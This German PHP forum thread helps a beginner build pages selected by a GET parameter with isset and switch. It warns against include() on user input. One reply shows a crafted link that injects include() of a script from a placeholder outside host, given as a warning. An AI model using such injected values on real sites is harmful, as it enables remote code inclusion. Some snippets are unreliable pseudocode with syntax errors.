Buubel: Links mit GET

Hallo Forum!

Ich hab eine Seite "texte.php". Für die verschiedenen Unterseiten will ich keine eigene Seiten ("text1.php" usw.) sondern etwas wie "texte.php?text=1" realisieren. Soweit ich weiß funktioniert das mit GET. Ich wüsste jetzt nur wie das mit Radio-Buttons zu lösen wäre nicht aber mit einfachen Links, wo man nur draufklicken muss. Kann mir da jemand helfen?
Vielen Dank schon mal im Vorraus!

  1. Hallo Buubel,

    Ich hab eine Seite "texte.php". Für die verschiedenen Unterseiten will ich keine eigene Seiten ("text1.php" usw.) sondern etwas wie "texte.php?text=1" realisieren.

    <a href="texte.php?text=1">Link</a>

    MfG
    Primus

  2. Liebe(r) Buubel,

    in PHP hast Du dazu die superglobale Variable $_GET, die ein assoziatives Array ist. Sollte ein Link von Dir so aussehen: <a href="texte.php?text=1">...</a>, dann ist diese Variable mit folgendem Inhalt gefüllt:

    $_GET = array(  
       ['text'] => 1  
    )
    

    Du kannst also im Script abfragen, ob diese Variable im $_GET-Array existiert:

    $text = "" // Variable vorbelegen  
    if (isset($_GET['text'])) $text = $_GET['text'];  
    /* An dieser Stelle ist höchste Vorsicht geboten, denn über diesen Parameter könnte bösartiger Code auf Deinen Server eingeschleust werden!  
      
    In $text könnte also etwas Böses stehen, daher wird nun wie folgt verfahren! */  
      
    switch ($text)  
       {  
       case "1":  
       tue_etwas();  
       break;  
      
       case "2":  
       tue_etwas_anderes();  
       break;  
      
       default:  
       tue_etwas_standardisiertes();  
       }  
    /* In diesem Script wird nirgends mit den in $text enthaltenen Inhalten etwas Aktives unternommen (etwa ein ganz böses "include($text)" oder Ähnliches), es wird lediglich darauf geprüft, was darin enthalten _darf_. */
    

    Hoffe es hilft Dir weiter!

    Liebe Grüße aus Ellwangen,

    Felix Riesterer.

    1. Hi Felix!
      Dank schon mal. Den Anfang hab ich verstanden, aber nicht den Sinn und die Funktionsweise der switch-Anweisung.

      switch ($text)
         {
         case "1":
         tue_etwas();
         break;

      case "2":
         tue_etwas_anderes();
         break;

      default:
         tue_etwas_standardisiertes();
         }
      /* In diesem Script wird nirgends mit den in $text enthaltenen Inhalten etwas Aktives unternommen (etwa ein ganz böses "include($text)" oder Ähnliches), es wird lediglich darauf geprüft, was darin enthalten _darf_. */[/code]

      Welchen Zweck haben die einzelnen case Anweisungen und wie sollte jemand bösartigen Code einschleusen?

      Mfg Buubel

      1. hallo buubel,

        die switch-anweisung prüft welcher wert übergeben wurde.
        wenn der wert 1 ist, dann soll der inhalt ja anders sein, als wenn der wert 2 ist.

        daraus folgt, dass du innerhalb der switch-anweisung festlegst, welchen inhalt die seite haben soll.

        dies könntest du beispielsweise über eine variable "inhalt" festlegen.

        innerhalb des switches:

        case 1:
        inhalt= text1.txt;
        break;

        case 2:
        inhalt=text2.txt;
        break;

        usw.

        oder aber:

        case 1: include(text1.inc.php);
        break;

        case 2: include(text2.inc.php);
        break;

        ...

        was genau du innerhalb der switch-anweisung machst, bleibt dir überlassen.
        hier wird halt dynamisch anhand der auswahl festgelegt, welchen inhalt deine seite hat.

        somit brauchst du nur eine seite schreiben, die weitere anweisungen und/oder inhalte je nach wert der variablen(hier "text") importiert.

        hoffe geholfen zu haben,

        gruss
        fabo

        1. Vielen Dank für die tollen Antworten. Das ist enleuchtend, dass der Wert immer wieder überschrieben wird. :-)) Mich hatte bloß dieses Array ein bisschen verwirrt. Dann werd ich das wohl jetzt noch mal probieren...

          thx Buubel

        2. also das ganze funktioniert jetzt.

          aber eine letzte frage hab ich noch:
          wenn $_GET leer ist (also nix ausgewählt wurde), soll die liste angezeigt werden, bei der man die texte auswälen kann, die man angucken kann. das konnte ich mit 2 möglichkeiten erreichen:

          1. mit der default-anweisung innerhalb der switch anweisung:

          default: $ausgabe = "<ul><li>...</li></ul>";  
          break;  
          
          

          2. mit einer else-anweisung nach der if-anweisung, bei der überprüft wird, ob $_GET vorhanden ist:

          if(isset($_GET['id'])) $id = $_GET['id'];  
          else $ausgabe = "<ul><li>...</li></ul>";  
          
          

          beides funktioniert. was soll ich nehmen? oder ist das egal? ich würde jetzt gefühlsmäßig eher zur default-variante tendieren.
          wäre gut wenn mir das noch mal jemand sagen könnte.

          mfg buubel

          1. Liebe(r) Buubel,

            beides funktioniert. was soll ich nehmen? oder ist das egal?

            im Grunde genommen schon. Aber...

            ich würde jetzt gefühlsmäßig eher zur default-variante tendieren.
            wäre gut wenn mir das noch mal jemand sagen könnte.

            ... wenn Dein Projekt einmal größer geworden ist, dann ist die Manipulation der erhaltenen Parameter weniger sinnvoll, als eine default-Anweisung, da Du Dir dabei einen besseren Überblick über die generelle Funktionsweise Deines Scriptes bewahrst. Jedenfalls erlebe ich dieses gerade am eigenen Leib, da ich anfangs auch die erstere Variante verwendet habe und nun der Code extrem unübersichtlich wurde.

            Liebe Grüße aus Ellwangen,

            Felix Riesterer.

            1. Moin!

              ehrlich gesagt ist mir das immer noch nicht ganz klar, was jetzt am besten ist. reicht nicht für den angfang (bei einem kleinen projekt) erst mal nur die default-variante, die immer die auswahlliste standardmäßig anzeigt, wenn kein parameter mit $_GET übergeben wurde (und in der url dann gar nix hinter .php steht)? und man verzichtet auf die else-abfrage?

              mfg buubel

              1. Moin!

                ehrlich gesagt ist mir das immer noch nicht ganz klar, was jetzt am besten ist. reicht nicht für den angfang (bei einem kleinen projekt) erst mal nur die default-variante, die immer die auswahlliste standardmäßig anzeigt, wenn kein parameter mit $_GET übergeben wurde (und in der url dann gar nix hinter .php steht)? und man verzichtet auf die else-abfrage?

                mfg buubel

                doch. default reicht.

                &anzeige = default.text;

                if(isset($_GET['id']))

                /** diese abfrage könntest du wohl weglassen, da der switch
                nicht ausgewertet werden kann, wenn die variable id im get-array »» nicht existiert.
                allerdings würd ich es stehen lassen, nur begründen kann ich es
                nicht richtig (Sicherheit?/Stabilität?) **/

                {
                switch($_GET['id'])(

                case 1: $anzeige = was anderes;
                ...
                  default: $anzeige = default.txt;

                )
                }

                echo '<div id="anzeigefeld">';
                echo $anzeige;
                echo '</div>';

                ---

                die variable $anzeige vorher mit default füllen und nur ändern wenn
                per get ein wert übergeben wurde

                aber kein grosser unterschied zu vorhergehender variante.

                gruss fabo

                1. Moin!

                  die variable $anzeige vorher mit default füllen und nur ändern wenn
                  per get ein wert übergeben wurde

                  aber kein grosser unterschied zu vorhergehender variante.

                  gut so dachte ich mir das auch. :-))  vielen dank!
                  mfg buubel

          2. also das ganze funktioniert jetzt.

            aber eine letzte frage hab ich noch:
            wenn $_GET leer ist (also nix ausgewählt wurde), soll die liste angezeigt werden, bei der man die texte auswälen kann, die man angucken kann. das konnte ich mit 2 möglichkeiten erreichen:

            1. mit der default-anweisung innerhalb der switch anweisung:

            default: $ausgabe = "<ul><li>...</li></ul>";

            break;

            
            >   
            > 2. mit einer else-anweisung nach der if-anweisung, bei der überprüft wird, ob $\_GET vorhanden ist:  
            > ~~~php
            
            if(isset($_GET['id'])) $id = $_GET['id'];  
            
            > else $ausgabe = "<ul><li>...</li></ul>";  
            > 
            
            

            beides funktioniert. was soll ich nehmen? oder ist das egal? ich würde jetzt gefühlsmäßig eher zur default-variante tendieren.
            wäre gut wenn mir das noch mal jemand sagen könnte.

            mfg buubel

            hallo buubel,

            ich würde zu folgender variante greifen:

            if(!isset($GET['id'])) $id= 99(beliebige zahl für default);

            diese anweisung brauchst du, da du ja beim ersten aufruf der seite noch keine variable id innerhalb des get-arrays hast.
            (ich gehe davon aus, dass du alle texte innerhalb der ersten seite aufrufst-je nach parameter)

            dann den switch folgen lassen.
            hier bei dem wert 99 und dem wert default die standard-anzeige
            aktivieren.

            somit kannst du später mal nachträglich noch über änderung des default-wertes festlegen, wie du mit einträgen umgehst, die von dir nicht vorhergesehen waren.

            gruss fabo

      2. Liebe(r) Buubel,

        Dank schon mal.

        gerne.

        Den Anfang hab ich verstanden, aber nicht den Sinn und die Funktionsweise der switch-Anweisung.
        Welchen Zweck haben die einzelnen case Anweisungen

        Ich verstehe, dass Du erst ganz am Anfang des Erlernens von PHP bist. Das ist in Ordnung. Zur switch-Anweisung möchte ich Dir zwei Links nennen: switch in PHP und switch in Javascript. In beiden Scriptsprachen hat switch die identische Funktion (und Syntax), daher sollten Dir beide Links erklären können, welche Rolle switch bei der Verzweigung von Programmstrukturen spielt.

        und wie sollte jemand bösartigen Code einschleusen?

        Das ist ein interessantes Thema. Ich möchte Dich jetzt nicht überfordern, aber stelle Dir nur vor, der Link hätte folgendes als Parameter:
        <a href="texte.php?text=(include ('http://www.url.tld/böses_script.php'))">
        Mein Beispiel ist alles andere als gut, aber es zeigt, dass man den Search-String (alles hinter dem Fragezeichen) missbrauchen kann.

        Liebe Grüße aus Ellwangen,

        Felix Riesterer.

        1. hi felix.
          danke für die guten tips. bis jetzt bin ich noch nicht überfordert! :-))

          ich hab mal angefangen so'n ansatz zu programmieren. läuft auch ganz gut hat bloß leider noch ne kleine macke. ich glaub das liegt am array. vielleicht hab ich auch bloß irgendwas blödes übersehen?! ich lass die variable $ergebnis einfach ausgeben, doch der zeigt die ganze zeit "...Auswahl 4" auch wenn man gar nichts anklickt! in der url ändert sicher aber immerhin schon mal "?id=..." !

          <?
          $_GET = array(
                    id => 1,
                    id => 2,
                    id => 3,
                    id => 4

          );

          $id = "";
          if(isset($_GET['id'])) $id = $_GET['id'];

          switch($id)
          {
          case "1":
          $ergebnis = "Das ist Auswahl 1!";
          break;

          case "2":
          $ergebnis = "Das ist Auswahl 2!";
          break;

          case "3":
          $ergebnis = "Das ist Auswahl 3!";
          break;

          case "4":
          $ergebnis = "Das ist Auswahl 4!";
          break;
          }
          ?>

          mfg buubel

          1. Liebe(r) Buubel,

            Du hast da etwas missverstanden. Das Array $_GET wird vom Server mit Inhalten bestückt. Wenn Du darauf schreibend zugreifst, dann zerstörst Du die vom Server gelieferten Informationen. Nutze es _lesend_ wie in meinem Beispiel! Das Code-Beispiel am Anfang war nur eine Illustration, was sich in $_GET befindet. Sorry für das Missverständnis.

            Wenn Du in das Array $_GET viermal den Index "id" mit einem Wert versiehst, dann ist logisch, dass der Wert der letzten Zuweisung erhalten bleibt. Dass Du damit den ursprünglichen (vom Server eingetragenen) Wert überschreibst, ist klar.

              
            
            > <?  
            
            // Das hier entfällt ersatzlos:  
            
            > $_GET = array(  
            >           id => 1,  
            >           id => 2,  
            >           id => 3,  
            >           id => 4  
            >   
            > );  
            
            // So. Ab hier geht Dein Script wirklich los:  
            
            > $id = "";  
            > if(isset($_GET['id'])) $id = $_GET['id'];  
            >   
            > switch($id)  
            > {  
            > case "1":  
            > $ergebnis = "Das ist Auswahl 1!";  
            > break;  
            >   
            > case "2":  
            > $ergebnis = "Das ist Auswahl 2!";  
            > break;  
            >   
            > case "3":  
            > $ergebnis = "Das ist Auswahl 3!";  
            > break;  
            >   
            > case "4":  
            > $ergebnis = "Das ist Auswahl 4!";  
            > break;  
            
            // hier fehlt noch ein "default:"-Abschnitt. Ohne diesen  
            // schmeißt Dein Script beim kompletten Fehlen des GET-Parameters  
            // überhaupt keinen Inhalt aus, da keine CASE-Anweisung zutrifft  
            // und damit die komplette switch-Anweisung "ignoriert" wird.  
            
            > }  
            > ?>
            
            

            Liebe Grüße aus Ellwangen,

            Felix Riesterer.

          2. ich hab mal angefangen so'n ansatz zu programmieren. läuft auch ganz gut hat bloß leider noch ne kleine macke. ich glaub das liegt am array. vielleicht hab ich auch bloß irgendwas blödes übersehen?! ich lass die variable $ergebnis einfach ausgeben, doch der zeigt die ganze zeit "...Auswahl 4" auch wenn man gar nichts anklickt! in der url ändert sicher aber immerhin schon mal "?id=..." !

            hallo buubel,

            folgende anweisung stellt das problem dar, sofern sie innerhalb deines quellcodes auftaucht:

            <?
            $_GET = array(
                      id => 1,
                      id => 2,
                      id => 3,
                      id => 4

            );

            Hier weist du jedesmal der variablen "id" aus dem get-array einen neuen wert zu.
            erst 1, dann 2, dann 3, dann 4.
            (dann steht das christkind vor der tür ;) )

            du überschreibst immer den jeweils zuvor gesetzten wert.

            wenn ich dein vorhaben recht verstanden habe, solltest du diese zeilen komplett aus deinem code löschen.

            du möchtest ja feststellen, welche link dein benutzer gedrückt hat.
            durch das drücken dieses links wird das get-array mit dem gewünschten wert gefüllt.

            bsp.:
            nehmen wir an, du hast auf der seite folgende links:

            <a href="texte.php?id=1">Text 1 anzeigen</a>
            <a href="texte.php?id=2">Text 2 anzeigen</a>
            <a href="texte.php?id=3">Text 3 anzeigen</a>
            <a href="texte.php?id=4">Text 4 anzeigen</a>

            der benutzer drückt folgenden link:

            <a href="texte.php?id=1">Text 1 anzeigen</a>

            daraufhin erhält die variable "id" innerhalb des Get-Arrays
            den wert von 1.

            drückt der benutzer diesen link:

            <a href="texte.php?id=3">Text 3 anzeigen</a>

            dann bekommt die variable "id" innerhalb des Get-Arrays
            den wert von 3.

            wenn du nun

            <?
            $_GET = array(
                      id => 1,
                      id => 2,
                      id => 3,
                      id => 4

            );

            danach ausführst, überschreibst du die variable innerhalb des arrays
            mit dem wert von 4, noch bevor dieses ausgewertet wurde.
            damit ist die gewünschte information verloren.
            also weglassen.

            den rest deines codes stehenlassen, und du solltest die gewünschten ergebnisse erhalten.

            $id = "";
            if(isset($_GET['id'])) $id = $_GET['id'];

            switch($id)
            {
            case "1":
            $ergebnis = "Das ist Auswahl 1!";
            break;

            case "2":
            $ergebnis = "Das ist Auswahl 2!";
            break;

            case "3":
            $ergebnis = "Das ist Auswahl 3!";
            break;

            case "4":
            $ergebnis = "Das ist Auswahl 4!";
            break;
            }
            ?>

            mfg fabo

            1. Lieber fabo,

              freut mich, dass wir mit unseren Meinungen übereinstimmen. ;-)

              Liebe Grüße aus Ellwangen,

              Felix Riesterer.

              1. Lieber fabo,

                freut mich, dass wir mit unseren Meinungen übereinstimmen. ;-)

                Liebe Grüße aus Ellwangen,

                Felix Riesterer.

                Hallo Felix,

                du warst wohl etwas schneller..
                als ich loslegte, war dein eintrag noch nicht vorhanden.
                wollt halt auch mal helfen...
                dauert halt ein paar minuten wenn man mehrere sachen gleichzeitig macht ;)

                auch wenns hier wohl nicht hingehört...
                im übrigen hast du ein sehr nette website. der javascript-editor ist interessant. ich würde noch dazu schreiben, dass man das highlight "nach" dem eintragen des codes anwählen soll. ist für mich als nutzer nicht selbstverständlich gewesen.

                grüsse

                fabo

                1. Lieber fabo,

                  du warst wohl etwas schneller..

                  daher auch mein zwinkernder Smiley.

                  als ich loslegte, war dein eintrag noch nicht vorhanden.

                  Das dachte ich mir schon.

                  wollt halt auch mal helfen...

                  Nur zu! Das macht dieses Forum doch so interessant!

                  dauert halt ein paar minuten wenn man mehrere sachen gleichzeitig macht ;)

                  im übrigen hast du ein sehr nette website.

                  Danke. Klein, aber fein. Ich übe noch.

                  der javascript-editor ist interessant. ich würde noch dazu schreiben, dass man das highlight "nach" dem eintragen des codes anwählen soll. ist für mich als nutzer nicht selbstverständlich gewesen.

                  Dieses Ding betrachte ich fast als gescheitert. Im TinyMCE-Forum hat jemand etwas ähnliches gestartet. Vielleicht sollte ich seinen Ansatz etwas studieren, da ich mit dem meinen momentan richtig fest stecke und nicht weiter komme. Muss an meinem Konzept liegen.

                  Deshalb betreue ich diese Seite momentan überhaupt nicht. Auch der IE macht mit den dynamisch hinzugefügten Radiobuttons Mist (mit dem float der Checkbox auch!), sodass da eigentlich überhaupt nix tut, wie es soll. :-(

                  Liebe Grüße aus Ellwangen,

                  Felix Riesterer.